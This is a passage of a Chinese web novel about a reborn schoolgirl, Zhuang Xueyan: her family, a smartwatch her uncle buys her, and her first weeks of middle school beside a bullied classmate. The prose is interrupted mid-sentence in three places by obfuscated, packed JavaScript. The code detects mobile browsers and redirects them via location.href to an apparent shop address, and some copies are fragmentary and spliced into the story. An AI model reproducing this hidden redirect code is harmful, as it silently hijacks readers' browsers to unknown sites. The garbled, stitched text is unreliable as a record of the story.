庄雪言拿出纸巾替她擦眼泪,说:“你要是进不了重点班,我就跟老师说把我换到普通班去呗。” “真的吗?” 元秀秀擦干眼泪,看到庄雪言认真的眼神,嘴唇紧紧抿住,又要哭了。 “我不要你去普通班,我能考上重点班的!” “好呀!我相信你一定可以的!” 庄雪言展开笑容,月牙一样弯弯又秀气的细眉,纤长浓密的睫毛衬的她的眼睛很漂亮,元秀秀看着那双眼睛,抽噎了一声,说:“小雪,你真好看。” 庄雪言笑容更大了。 “你也是。” “暑假要玩的开心,开学见吧。” 元秀秀点头:“开学见。” 暑假的时候庄雪言没什么事情,跑去帮何芸做衣服,她太小了,坐在椅子上脚还够不到踏板。 何芸不想让她来成衣厂,空气里面飘动的棉絮呼吸进肺里不太好,她给了庄雪言一笔钱让她没事找同学去镇子上面玩,庄雪言急的差点跳起来,撒娇卖萌让何芸收留她。 “我帮你分担一点嘛,我没有作业也没有事情,在家会无聊的!妈妈~” 她娇声娇气地摇何芸地胳膊,可爱的模样惹得周围同为母亲的女人笑起来,纷纷调侃何芸生了个乖女儿,又劝何芸把庄雪言留下,有个乖巧机灵的女儿在身边多好,她们羡慕都羡慕不来。 何芸拗不过她们的劝说,再加上庄雪言软磨硬泡,何芸还是答应了,找工友给庄雪言要了个口罩,分给她一些减线头的活,一件衣服三角钱,剪上一天也是笔不少的收入。 口罩比庄雪言半张脸还大,何芸看着女儿小鹿圆圆的眼睛,低声说:“宝贝,累了就回去吧,妈妈不要你陪。” 庄雪言摇摇头,俏皮地做出飞吻。 有人帮忙,家里的收入一下子增加了几千块钱,等到庄雪言快上学的时候,何芸说什么都不让她去了,自己请了几天假陪她好好玩。 何均在外面打拼的不错,买了辆二手小轿车,最近休假回来了几个星期,何芸算着日子让他带着庄雪言去市里玩,她要去走人家,知道人多的地方庄雪言不喜欢去。 何均回来第二天就带了礼物来看自己外甥女,现在妹妹有要求自然义不容辞,从村子到市里要一个多小时,庄雪言坐在副驾驶向外看熟悉又陌生的景色,何均余光看到了聚精会神的庄雪言,笑着说:“小言没怎么来过市里吧,还记得路吗?” 庄雪言父亲没死外面时她偶尔能沾沾光坐着摩托车去市里,但现在家里没有条件了,庄雪言就很少出远门,她有些恍惚,怀念道:“记得路,我都记得。” “记性这么好啊。”何均看着远方的道路,方向盘随之转动,“考试考的怎么样,马上要去初中了,听说还有重点班?” “.....” 庄雪言正伤春悲秋着呢,情绪都没来得及转变过来就噎了下,靠在座椅上吐槽:“你们大人就喜欢问成绩。” 这辈子的她还好,上辈子的她就尴尬了,顶着中游生的身份,不上不下的成绩,回答了也丢脸不回答也丢脸。 何均知道自己这话不讨好,打了两声哈哈,说:“小升初对你来说不是小菜一碟?好不容易来趟市里舅舅给你买个升学礼物吧。” 白给的好处不要白不要,庄雪言眼睛亮晶晶的,双手合十,期待道:“真的吗舅舅?” “舅舅骗你干嘛?想要什么自己挑去,别告诉你妈妈昂。” 庄雪言高兴地举起双臂欢呼:“谢谢舅舅!” 何均乐呵呵的,等到了手表店,庄雪言站在智能手表柜台前可怜兮兮地望着他,何均才知道自己掉进陷进了。 他走到柜台前,看到玻璃展柜下面放着的各式各样的智能手表,双手抱臂,用轻松的话语说出为难的话:“你想让舅舅大出血啊!” 柜台里白色的光照亮庄雪言白皙的侧脸,听到何均的话,她露出委屈又舍不得的表情,何均没好气捏了捏她的耳朵,问店员:“你们新款多少钱,我要了。” “新款八百块钱,是可以打电话发信息的.....” 店员介绍了一番,把没拆封的表拿出来,何均付钱动作很利索,庄雪言抱紧手表不撒手,嘴巴甜甜地说出夸赞的话。 外甥多像舅,何均看出来这小孩跟自己一样鬼精,拆穿她:“我看要不是初中不让带手机,我现在应该在手机店了吧。” 庄雪言嘿嘿两声。 镇上只有一家菜市场,里面没什么新鲜玩意,何芸准备在庄雪言上学之前做顿好的,给了庄雪言两百块钱的红包,让她上街之后买点自己喜欢的菜回来,不要在乎贵不贵。 庄雪言没什么想买的,何均大方地说他付钱,庄雪言刚坑了自家舅舅八百块钱,现在再坑下去于心不忍,揣着兜里的钱买了几个物超所值的肉菜,又被何均嫌弃买的差,带去海鲜区买了两百块钱鱼虾。 结账的时候也是何均付钱,庄雪言感动的两眼泪汪汪:“舅舅我正月不理头发了。” 何均:“......” 回去的路上刮了场莫名其妙的风,树叶被吹地往一个方向倒,到家时时间不早了,何芸看到菜的时候就知道是何均付的钱,留他下来吃完饭,做完菜才六点,何芸打包了一份菜让庄雪言给徐老头送过去。 庄雪言接下这份差事,夏天不担心菜放凉,她跑了一会儿,细密的汗水打湿老头衫,庄雪言伸手挡住炎热的太阳,懊悔走太急忘记带把遮阳伞了。 几分钟后,她看到了徐老头的家,小小的院子大门紧闭,庄雪言不知道这个点徐老头会去哪里,如果去捡垃圾了,拿她就把饭菜放到院子外面。 庄雪言敲了敲门,里面没人应,听声音里面好像没动静,她放下餐盒准备走,刚弯腰,耳边传来老旧木门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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徐嘉轩以为自己说错话了,他咬着下嘴唇,手紧张的不知道该往哪放。 而沉默不语的庄雪言呢? 她已经快气昏了。 她不知道徐嘉轩命好还是不好,为什么时而可怜的过分,时而又幸运的让人嫉妒,庄雪言怒斥老天爷不公的同时也有些无语。 “关于钱的事情以后别人问你你千万不要告诉人家。” 跟二傻子似的,谁套话都说。 这次好在是她,顶多被气得几天吃不下饭,要换做别人,入室抢劫都是分分钟的事情。 徐嘉轩点头说好。 八月的傍晚余温未消,庄雪言冒着热浪来,皮肤被黏腻的汗水覆盖,又吃了一肚子闷气,已经七分饱了。 徐嘉轩送庄雪言到院子前,庄雪言没管住嘴,又问:“失主给你们多少钱呀?” 徐嘉轩看着她的脸,回想起庄雪言提醒他的话,他脑子很好,做阅读理解更是一流,把她话中的别人圈了个重点,毫不避讳地告诉他:“好像是三千块钱。” “砰——” 木门被重重关上,庄雪言握紧双拳,大步流星回家了。 门开合的风把徐嘉轩的头发吹起来,他握着手腕,察觉她好像很生气的样子。 他又说错话了吗...... 徐嘉轩想:他为什么那么笨呀! 5. chapter5 初中不比小学管得松,一但迈进学校大门,那股古板的规训感瞬间扑面而来,夹杂着炙热的风,吹得人头晕脑胀。 初中在小镇边缘,和另一个小镇紧紧挨着,周围建着一堆墙体已经掉皮的老式居民楼,这里招收两个镇子的小升初学生,何芸送庄雪言上学时看到了不少车辆停在校门口,家长从后备箱拿出叠成正方形的褥子。 小学就有住校了,不过住校要额外收几百块钱住宿费,何芸听说住校能锻炼孩子的社交能力,想帮庄雪言办理住校,庄雪言舍不得钱也不想十二个人挤在一个寝室里,哀求了何芸好半天才同意不住宿。 之后何芸买了辆自行车,每天上下学都亲自来接。 现在上了初中庄雪言也不想住校,反正骑自行车回去只用二十分钟,何芸尊重她的想法,来学校不像其他家长准备的那么繁琐,只背了个书包。 眼看不少家长都带着孩子进去了,何芸也陪着庄雪言进去,初中的学校比小学大许多,路上庄雪言看到了几个之前同班的朋友,关系一般般,打了个招呼就离开了。 三层教学楼走廊挤满了人,庄雪言站在人挤人的楼梯口嫌闷,跟何芸在校园里转了一圈,暑假没有作业,她不用像以前那样急着进教室补。 几个高年级的学生从两人身边跑过,何芸转头看她们的背影,由衷为女儿高兴。 “以后在学校要乖乖的,听老师的话哦。” 庄雪言猫儿一样把头埋进何芸怀里,露出的两只眼睛清清亮亮。 她不满意地撒娇,“我什么时候不听话啦,言言是最听话的宝宝~” 又蹭了蹭,抬头的时候余光瞄到了刚从旁边走过的徐嘉轩,徐嘉轩身后不远处还站着目睹全程表情惊悚的李顺和几个男生。 庄雪言慢慢的,笑容僵住了。 徐嘉轩只是恰好经过,他见过一直以来都格外照顾他们的何芸,所以主动上前打招呼,何芸抱着女儿回以微笑,还没来得及关心几句,徐嘉轩握紧书包,没有血色的嘴唇露出笑容,说:“阿姨,我走了。” 何芸看着很是心疼,徐嘉轩脸上没有肉,所以衬得眼睛很大有点凹陷下去,眼睛是浅浅的内双,眨呀眨,睁大眼睛的时候就变成单眼皮了。 同样年纪的庄雪言脸上都有点点婴儿肥,那笑容落在何芸眼里全是故作坚强。 她没看到怀里女儿复杂复杂的神色,拉住徐嘉轩的手腕柔声询问:“你爷爷没来吗,谁给你交学费?” 徐嘉轩取下书包拉开拉链,里面放着的是一卷用塑料袋层层卷住的纸钱。 徐嘉轩说:“爷爷今天有事情,让我自己来交报名费。” “你走来的?” 徐嘉轩点头又摇头,补充道:“有客车。” 客车站离他们家也得走十几分钟,何芸叹了声气,作为人母,她对每个孩子都很有爱心。 庄雪言咬牙切齿,看何芸这么关心徐嘉轩,那股浓烈的醋意又起来了。 “妈妈~” 庄雪言拉住何芸的手晃来晃去,何芸知道这是女儿不高兴了,转头笑话她这么大人了心气还那么小,徐嘉轩羡慕地看着母女两人,猝不及防和庄雪言的目光撞上,对方做出恶狠狠的表情冲他呲牙。 表情没什么威慑力,但徐嘉轩知道自己被讨厌了,他情绪低落,不好继续待下去,跟何芸道了别,独自一人走在通往教学楼的林荫小道上。 见他离开,庄雪言满意地哼哼几声,何芸并不是一味溺爱女儿的人,她蹲下来捏着她的耳朵教训道:“对待别的小朋友要讲礼貌,要尊重!” 庄雪言跺跺脚,想反驳又无从说出口。 “我知道啦!”她不满地嘟嘴。 “别只是嘴上知道了,心里也要知道。”何芸替她整理发丝,说:“你看徐嘉轩家庭那么不好,我们作为邻居要照顾人家知道吗?” 庄雪言心想人家当大老板了都不知道照顾她们,想到这,庄雪言记起了硬生生被自己掰断两次的橄榄枝,扭捏道:“真的知道了!” “好了。” 不少学生家长交完学费回家,今天是上学第一天,学生要留下来上晚自习,何芸见人走的差不多了,牵着庄雪言的手给她交学费去。 一个年级有六个班,每个班级大约四十几名学生,班级门口坐着收报名费的班主任,庄雪言从花名册上找到自己所在的班级,走进去扫了眼。 班上来的人很多,庄雪言一眼看过去没看到元秀秀,反倒看到了坐在第三组前排的徐嘉轩,心情从失望转为疑惑。 开玩笑的吧?徐嘉轩能进重点班元秀秀居然不能进! 徐嘉轩看到她,右臂动了动想打招呼,庄雪言没多看,目光比手先一步移开。 徐嘉轩把升起一半的手放下去,有些失落地低头,等庄雪言再一次看向徐嘉轩时,他正拿着笔在作业本上写着什么。 这才开学第一天,有必要这么拼吗? 庄雪言不禁对这个所谓的重点班产生了深深的怀疑。 她来的太晚,在前排没找到位置,走向第一组靠后的地方坐下来。 前排是个超重的男生,从庄雪言走进教室的第一眼就看到她了,等人在自己身后坐下,他立马转身,小眼睛直勾勾盯着庄雪言的脸。 “我叫张小全。” 庄雪言感受到那股注视,出于礼貌回答说出自己的名字。 “你名字好好听啊,声音也好听。” 他两条胳膊趴在庄雪言桌子上占了大半的位置。 庄雪言心里有些不舒服,但想起初中刚开始肯定要在同学们面前留个好印象,延续自己温和的语气礼貌地说:“能把手拿开吗,我要擦桌子了。” “哦哦。” 张小全把胳膊挪开,庄雪言没多想,从包里掏出湿纸巾仔细擦拭桌椅。 张小全被她的做法吸引,拿起庄雪言放在桌上的湿纸巾放在自己桌上,抽了好几张湿巾装模作样擦起来。 不经过允许动别人东西,庄雪言冷下脸,嗓音不覆刚刚的温和,呵道:“还给我!” 她的声音不大,坐在周围的小部分人看了过来,徐嘉轩也听到了,前排的位置恰好能看见庄雪言冷冽的侧脸,她粉色的薄唇抿紧,深黑色瞳仁更圆了。 原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526272|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她生气的时候是这幅模样。 徐嘉轩有些庆幸她从来没对自己露出过如此严肃的表情,不然他真的不知道应该怎么在她面前说话。 这股火是有针对性的,周围几个陌生同学看了几眼就低下头,谁都不想管这桩闲事,张小全被她的声音吓了一跳,身上的肉都跟着哆嗦了两下,不服气地把湿纸巾还给她。 “不用就不用嘛,凶什么凶?!” 他自以为说话声音很小,但庄雪言耳朵灵着呢,咬牙不停告诉自己要心平气和,她把书包放在抽屉里,几个来得早的男生把书本从办公室搬过来,正在挨个分发。 庄雪言是班上倒数几个交报名费的,班主任跟何芸说了几个家长担心的问题,满意地拿着花名册,花名册第一是庄雪言的名字,何芸看着高兴,握紧双手说:“卢老师,您是有经验的老师!我们家雪言就拜托您了,有什么事情您跟我讲,我肯定严肃处理!” “唉~学习好的学生人品都不会差到哪去,有这么优秀的孩子,您放心好了!” 两人互相恭维了一番,何芸出去时透过窗户朝女儿道别,庄雪言冷漠的表情瞬间变换模样,笑意盈盈地伸出两只手跟她拜拜。 等何芸走后,庄雪言脸又冷下来。 她的位置太挤了,不知道是因为张小全身材问题还是他根本就是故意的,庄雪言觉得挤得慌,连教材放进抽屉的伸展空间都没有。 女孩子的身体比较瘦弱,占不了什么位置,庄雪言同桌就是个女孩,看着自己跟对方非常错开的桌子,她拿笔戳了戳张小全。 “你往前去一点我没有空了。” 庄雪言说话声音和平时一样,面对张小全时无可避免下降三个度,张小全转过头,似乎没把刚才的事情放在心里,把椅子往前拉了拉,腾出足够的空间。 终于能正常呼吸了,庄雪言心想十二三岁的小孩子应该不是故意的,刚刚贸然拿她的纸巾估计是爹妈教育不到位,也是,这种体型的小孩一看就是在家里被宠上天的祖宗。 小小插曲转头就忘,整个班安静的过分,老师坐在讲台上什么都不说,眼眶后面锐利的眼睛默默在每个学生的脸上略过,除了发书时极低的交谈声外就听不到什么声音了。 这就是开学第一天的威力,沉闷的,浸染淡淡伤心的教室,班主任扬起教鞭,说出了第一句话。 “现在,我们来分班干部,按照排名随机分,有意见私下来办公室找我!” 当官就是好,在教室能代替老师呼风唤雨,庄雪言听到按名次来分,心底涌起淡淡的自信。 她虽然没看到花名册,但听老师说了,她是第一名。 庄雪言静等班长的头衔落在自己身上,可等了半天,班长学习委员两个重要职务都分出去了,还没轮到她这个第一名。 “谢兰,你来当文艺委员,我之前跟你妈妈是同一个学校啊毕业的,回家后代我向你妈妈问好好吧!” 庄雪言:...... 她貌似知道有其中有什么潜规则了。 最后,庄雪言还是延续老路子,做了个掌管扫把和撮箕大权的劳动委员。 6. chapter6 大多数少男少女的叛逆期集中在十二三岁这个复杂的时间点,庄雪言的叛逆期十分普通,因为贫穷,她连生气时摔碗都舍不得,只能做出趁谁家的大黄狗不注意抢走它们的狗盆,然后重重摔在地上这种不道德的行为。 这辈子她就更没有叛逆期了,每当吃完早饭准备开始打扫卫生的时候,庄雪言就会拿着扫把游走在各个卫生区,观察青春男女们的日常。 总结为:精力过剩、爱表现自己,以及.....听不懂人话。 庄雪言检查卫生时偶尔回碰上刺头,普遍为男生,头昂的高高的一副你是谁的的吊样,仗着自己进入了重点班就洋洋得意,谁都不服谁。 当然徐嘉轩除外,穷人的烦恼都是共通的,没有钱,连叛逆期的资格都没有。 劳动委员还算轻松的职位,上学短短一个月,她们班班长都不知道被气哭过几次了。 上课铃响,庄雪言拿着撮箕扫干净隐藏在缝隙中的垃圾,收好劳动工具回教室。 快十月份,太阳跟六七月一样毒辣,秋天似乎没有来的意思,庄雪言穿着白色短袖抬手遮挡肆无忌惮的阳光,家里没有夏天适合穿的裤子,身上穿的透气长裤是何芸在成衣厂用剩下的布料做的。 上课铃响了半天庄雪言才检查完卫生,班主任的课,对待庄雪言这个迟到专业户很是宽容,教室两侧挂着风扇,开着最大档位乌拉乌拉摆头,庄雪言坐的位置不好,连热风都吹不到。 她用撕了张草稿纸叠成扇子扇风,前桌的张小全转过头问她老师讲到哪了,庄雪言刚到教室课本都没拿,摇摇头,转头问自己的同桌。 一个月的时间够庄雪言跟前后左右混熟了,在张小全这个烦人精的对比下,其他人显得格外和蔼可亲,女孩指了指自己的书页,告诉庄雪言:“第二十三面的课文。” “谢谢。” 庄雪言刚拿出书,张小全又转过身重复上一个问题,好像她今天不做出回答就不罢休似的,诸如此类的事情每天能上演十几次,庄雪言得感谢他,极大提升了她的忍耐力。 她无奈地重复女孩的话,得到答案的张小全激动转过身,没一会儿,庄雪言就感觉自己生存的空间又被压缩了。 “你往前去一点我没位置了。” 庄雪言用笔头捅他,张小全转过头嘿嘿两声,把椅子往前挪了挪,还没过十分钟,刚才挪出来的空隙被加倍挤了回来。 关于位置的事她一天也得强调好几次,考虑到已经跟周围的人熟悉了也不想刚来就麻烦老师才没提出换座位的意见。 庄雪言忍无可忍一脚踹上张小全的凳子,小声警告:“你再挤我位置我就把你桌子掀了!” 张小全再次转头,露出招牌笑容,他挠挠头发表示知道了。 刚才的语气应该足够他消停两天,庄雪言放下心,拿出抽屉里的水杯喝水。 她实在太渴了,八九点的温度比想象的高,在学校走一圈能把身体百分之三十的水分蒸发掉。 庄雪言喝水有个习惯,喜欢把最后一口水含在嘴巴里慢慢喝,还剩小半口没咽下去时突然被一股后退的力量撞喷出来。 张小全好像刚反应过来,双手合十跟她道歉。 几滴水呛进了气管,庄雪言捂住喉咙咳嗽半天,白嫩的脸颊染上一片红晕,她死死盯着张小全的脸,突然站起来走到他书桌前面,两臂一伸利落地把桌子掀了。 抽屉里的书本文具掉落一地,噼里啪啦的响声引得所有人都看过来,班主任放下课本,看到张小全身前凌乱的场景,教鞭重重在黑板上敲了几下。 “干什么呢干什么呢?!还上不上课了!” 徐嘉轩看到那张因为咳嗽微微发红的脸颊有点担心。 庄雪言好不容易缓过气来,看到张小全暗地里瞧他的脸色,又踢了脚桌子,仅剩的两本书从抽屉掉下来。 张小全心里跟明镜似的,知道自己做的太过分把人惹生气了,率先举手打小报告,垮着脸说:“老师庄雪言欺负我!” “死胖子!” 张小全急了:“你人身攻击!” 庄雪言真想把鞋脱下来拍在他脸上,她举起手直接提要求:“老师我要换座位,张小全总是挤我,我没位置坐!” 两个学生各有各的问题,班主任扶了扶眼镜,看到花名册上排第一的学生,立马有了判断。 他放下书,问:“你们有谁想跟庄雪言换位置的呀?” 庄雪言这个位置不好,吹不到风扇不说,对于那些轻微近视还没去配眼镜的人来说跟瞎了没区别,话落,整个班上鸦雀无声,气氛莫名尴尬起来。 张小全眼底闪过一丝得意,徐嘉轩看了看自己的座位,刚想举手说他要换,一道声音先他响起。 “老师我要换,我不想坐徐嘉轩旁边了,他身上好臭!” 说完,一阵笑声从教室后排爆发,徐嘉轩脸颊很烫,难为情地低下头。 哪怕主角不是她,庄雪言都能感同身受徐嘉轩的尴尬,男生说完后就开始收拾东西,中途时不时捂着鼻子,恨不得立马搬走。 庄雪言东西没多少,一个书包能装满,她不是很想和徐嘉轩坐一起,不是因为他身上的异味,但现在有个人能同意跟她换位置她都得谢天谢地了,条件摆在这,不能要求更多。 庄雪言利索地换了位置坐到徐嘉轩身边听课,两人全程没有交流。 徐嘉轩视线紧盯着课本,握着笔的手微微颤抖,庄雪言没跟他打招呼,她看到了徐嘉轩微红的眼眶。 坐好后,饶是庄雪言再怎么不在意,也忍不住闻了闻,两人间的距离大概有一个成年人的小臂宽,她没有闻到异味,上次闻到的时候还是很早之前,他们离得非常非常近时..... 没必要说的那么夸张吧? 靠前排的位置视野很好,讲桌旁边的窗户能看到碧绿的松树伸展枝叶,风吹过,叶子晃的像一片绿色的海。 这里太靠前了,是风扇死角,庄雪言刚才还疑惑为什么有人放着风扇不吹跑后面坐呢,现在释然了,而且座位离老师太近不好开小差,容易被发现。 周围的人除了徐嘉轩庄雪言一个都不认识,社交得从零开始,她不是个外向的人。 想到这,庄雪言暗暗瞪了远处的张小全一眼,她如果能混到班长的位置,看她给不给这死胖子穿小鞋就完了! 庄雪言重重翻开书,语文课还在继续,徐嘉轩从始至终眼睛没从课本上移开过,等老师走后他才稍微动了动,从抽屉里找出下节课要用的课本,像个被设定好程序的机器人。 庄雪言想:他的心理承受能力真强,如果说出那番话的是她的同桌,那她当天就要收拾东西离开这个班级了,好丢脸。 就这样,两人开启了互不干涉的生活,持续了一段时间,庄雪言认识了周围几个人,她前面的人是个高大的男生,叫赵帅,前面的旁边是学习委员,一个有着娃娃音的女孩,性格很好,叫王程程。 同为女生,王程程跟庄雪言更熟悉一些,下课没事就转头找庄雪言聊八卦,据她说,之前周围都是男生的时候,连一个说话的朋友都没有。 赵帅在旁边拆台:“那是因为没有你喜欢的男生,等你遇到喜欢的人恨不得天天跟他讲话!” “赵帅,我在说正事你为什么非得扯这些?” 王程程有些生气,但是娃娃音太可爱了,就连生气都没人在意,赵帅转头趴在庄雪言桌子上,浓密的眉毛抬起来,指着自己问道:“庄雪言,你觉得我帅不帅?” 庄雪言看了他一眼,没有满足普信男脸面的义务,实话实说:“一般。” “什么?!” 常年作为女生口中的帅哥的赵帅不信邪,他抓住徐嘉轩的胳膊问庄雪言:“那你觉得我跟他谁更帅?” 徐嘉轩有些吃痛,瘦的看得出骨节的手抓住笔帽不让笔摔在地上。 被抓住的皮肤四周开始泛白,庄雪言明白赵帅用了多大力气,她推开赵帅放在自己桌上的手,眉眼间不太高兴。 “放开你的手吧!丑的我要瞎了,再看下去我得找你要精神损失费。” 赵帅没想到她是这种回答,痛心地松开徐嘉轩的手,徐嘉轩也愣住了,左手覆盖发红的皮肤,他感激地看了庄雪言一眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526273|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这一眼庄雪言没接收到,赵帅正在她面前晃来晃去东扯西扯聊其他话题,简直是低配版张小全。 庄雪言仰天长叹,心想:命运真是对她太残酷了! 天气微微转冷了些,从纱窗外吹来的风带着树木清香的味道,给沉闷的教室带来一丝鲜活。 庄雪言心情很好地哼着不知名曲调,把书包里的薄外套拿出来折好放在书桌上,午休铃声正好响起。 天气热的时候她睡不好,浑身上下连脸颊都冒汗,醒来后湿黏黏的,得去洗手池用水擦很久的脸。 现在气温降下来了,庄雪言睡眠质量有了质的提升,她躺在凉丝丝的外套上幸福地闭上眼,刚要睡着的时候被莫名其妙的声音吵醒。 嘶嘶嘶,像蛇吐信子的声音。 周围的人都趴在桌上睡着了,庄雪言环顾一周,没有丝毫犹豫踹向前桌的赵帅。 赵帅被狠狠踢了一下,捂住屁股不满地转头,脸颊上还有没消的校服印子,看到庄雪言怒气冲冲的脸,他又变成那副贱兮兮的模样,凑近问:“干嘛?” “装什么呢?” 庄雪言眼底的惺忪彻底消失,她能判断出赵帅这个事精是故意的,圆圆的眼睛怒瞪着他,低声骂道:“你属蛇吗,整天嘶嘶嘶,上课嘶就算了,别人要睡觉你嘶什么?着急冬眠啊?!” 赵帅又转过来一些,刻意扫了眼旁边的徐嘉轩,说:“太臭了,我散散味。” “少放屁!”庄雪言说:“我坐在旁边都没闻到,你属狗的有狗鼻子吗?!” “嘿嘿。” “你猜对了,我就是属狗的!” 庄雪言无言以对,直觉告诉她她可能还得再换一次位置,就是不知道这次有没有人愿意跟她换了。 “我要睡觉了。”她严肃警告赵帅:“你要是再敢在我面前嘶一声我就把你舌头扯出来剪成蛇信子!” 赵帅才不信,他就喜欢像庄雪言这样与众不同的女孩,小男生追求小女生最简单的方式就是吸引她的注意,吸引注意最简单的方式就是让她生气。 赵帅觉得自己已经成功一半了,负面进展也是进展啊...... 他趴在庄雪言桌子上认真追问:“你不觉得徐嘉轩身上很臭吗?” 庄雪言没说话,静静看着他,黢黑的眼瞳跟瓷白的皮肤形成强烈对比,不说话的时候她像个安静的娃娃,那张脸太过冷漠,如果真的是娃娃,那也是雪娃娃。 赵帅被看的一头雾水,心下有些打鼓,问:“你不觉得?我听人说他爷爷是捡垃圾的,整天住在垃圾堆里。” 庄雪言还是一言不发盯着他。 赵帅不明白她什么意思,心里的鼓点越来越急促将要把心口打穿时,庄雪言终于开口了。 “你这人我不喜欢。” 赵帅愣了一瞬,听庄雪言说:“我不知道他身上有没有味道,我只知道你的嘴很臭,臭的我今天可能都睡不着觉了。” 说完,她理了理衣服,找到最舒服的姿势躺下去,赵帅找不到乐子了,兴致缺缺转过头,对着手心哈了口气然后闻了闻,自言自语道:“一天没刷牙而已,没那么臭吧?” 嘟囔了一会儿,赵帅承受不住困意睡着了。 吃完饭后晕碳想睡是正常的,哪怕上辈子九九六的庄雪言也必须躺下来休息一会儿,作为情绪来得快去得也快的小孩子,庄雪言睡的格外快,不一会儿就传出平稳又细小的呼吸声。 除了年久失修的风扇转动时发出的“吱呀”声,教室里什么响动都没有,巡视的老师早早回去了,不知名的动物隐藏在窗外的树枝上,时不时传来叫声,徐嘉轩睁开眼,慢慢坐起来。 四周都是呼吸声,睡姿各式各样的学生,他看向庄雪言,几缕乌黑的头发搭在桌上。 徐嘉轩不自觉露出笑容,他知道庄雪言不是在为他说话,但心里还是无可避免地升起喜悦,好像从有记忆到现在,没有人说过维护他的话语,哪怕是说谎。 他想:如果庄雪言说的都是谎话,他也会很高兴的。 他很想.....真的很想和庄雪言成为朋友...... 7. chapter7 进入立秋,气温逐渐转冷,稀稀拉拉的小雨打在窗户上,温差过大,玻璃窗覆上一层雾气。 庄雪言最近很开心,她从书包拿出崭新的保温杯放在桌上,这是何芸给她买的,最近开始变天,她希望女儿多喝点热水。 还没到早读的时间,早到的同学都在休息,庄雪言捧着脸看了会儿水杯,又颇有少女心地给它系了个蝴蝶结。 赵帅也看到了,他没见过绑蝴蝶结的保温杯,没打招呼就伸手想拿过去,被庄雪言一个眼神瞪回去。 “别这样嘛。” 赵帅想拿又不敢,对准庄雪言苍蝇搓手,庄雪言干脆把保温杯放进书包,等要喝水的时候再拿出来。 “这么宝贝啊?” 庄雪言没理他,低头写老师留下的课后作业,赵帅觉得没意思,头转向另一边,徐嘉轩拿笔正在写什么,看上去很认真的样子。 徐嘉轩在班上排名倒数,但不知道为什么每次作业正确率都很高,老师点他回答问题也能答得上来,赵帅作为班上中上游的学生有点不爽,一把夺过徐嘉轩的作业,随口道:“先借我抄一下。” 痞气的声音引得庄雪言皱眉,她抬头看了眼赵帅。 上辈子她从来没跟徐嘉轩在一个班上过,真没想到他居然是个谁都可以踩一脚的软柿子。 庄雪言心情复杂,好像自己难堪的嫉妒心对准了一个根本不值得嫉妒的人,但这些都不关她的事,眼不见心不烦,庄雪言左手托腮,刻意把头偏向旁边。 “还给我!” 徐嘉轩被抢了作业十分着急,伸手想抢回来,赵帅当做没听到,翻开课本,一张粉色便利贴猝不及防从书页中掉出来。 赵帅立马察觉其中的猫腻,拉长语调八卦地看着许嘉轩,徐嘉轩眼底的焦急更甚,有种此地无银三百两的感觉,赵帅捏着便利条晃了晃。 “看我发现了什么~” “还给我!” 徐嘉轩抓住他的袖子,满脸都写着慌张,他脸颊微微泛红,不知道是气的还是怎么的,赵帅才不给他,激动地站起来准备进行朗诵,一道愠怒的声音打断他。 “你够了没?!” 庄雪言放下笔,手掌压着的干净课本上划出长长一道黑线,是赵帅的成果。 她站起来抢过便利贴扔到徐嘉轩桌上,丝毫不关心里面写了什么,随后用力向前推桌子给自己留出足够的生存空间。 赵帅看出她很不高兴,以为她是在替徐嘉轩出气,不爽地咬紧后槽牙,抬高声音:“我看到了,便利贴上写着我想跟你交朋友!” 徐嘉轩瞳孔颤了颤,下意识看向庄雪言,后者没有任何反应,赵帅原本以为自己说完后会引发轰动,可惜现在是下课时间,喝水的喝水上厕所的上厕所,上了一天课,大家都很累,没人关心谁想跟谁交朋友的小事。 赵帅尴尬地原地罚站,也不自讨没趣,坐下来闷头开始抄作业。 初中没有晚自习,放学很早,夏天的时候昼长夜短,庄雪言背上书包放学的时候还能看到只剩一点的橘色晚霞,但现别说晚霞,月亮都难得一见。 胆大的在下课铃响前几秒就跑了,庄雪言收拾好书包,临走时听到许嘉轩很轻地喊了她一声。 庄雪言本来想当做没听到离开的,走了两步又想起赵帅今天念的纸条,停下来问:“干什么?” 徐嘉轩做好了被忽视的打算,见庄雪言反问,他手搭在桌沿边紧张地站起来,期盼地说:“我能和你做朋友吗?” 明明坐在一起快两个月了,说的话两只手都能数过来,徐嘉轩知道她不喜欢他却不了解具体原因,也许是他沉闷不讨好的性格,也许是他身上难闻的味道..... 徐嘉轩说完咽了下口水,贴着桌面的手微微出汗,他跟庄雪言对视了几秒,没忍住低下头,好久都等不来她的回答,徐嘉轩丧气地盯着桌子。 庄雪言没有明确拒绝,她想了想,说:“等你不再那么胆小后再跟我说这句话吧。” 连对视都不敢,庄雪言真不知道他上辈子究竟是怎么当上老板的,难道她重生到了某个平行世界? 留下这一句,庄雪言头也不回地离开。 窗外刮来轻飘飘的风,松树的枝叶随着风晃动,打开手表看了眼时间,八点了,今天依旧有阴天,空气中传来湿润的水汽,昭示不久之后有场大雨降临。 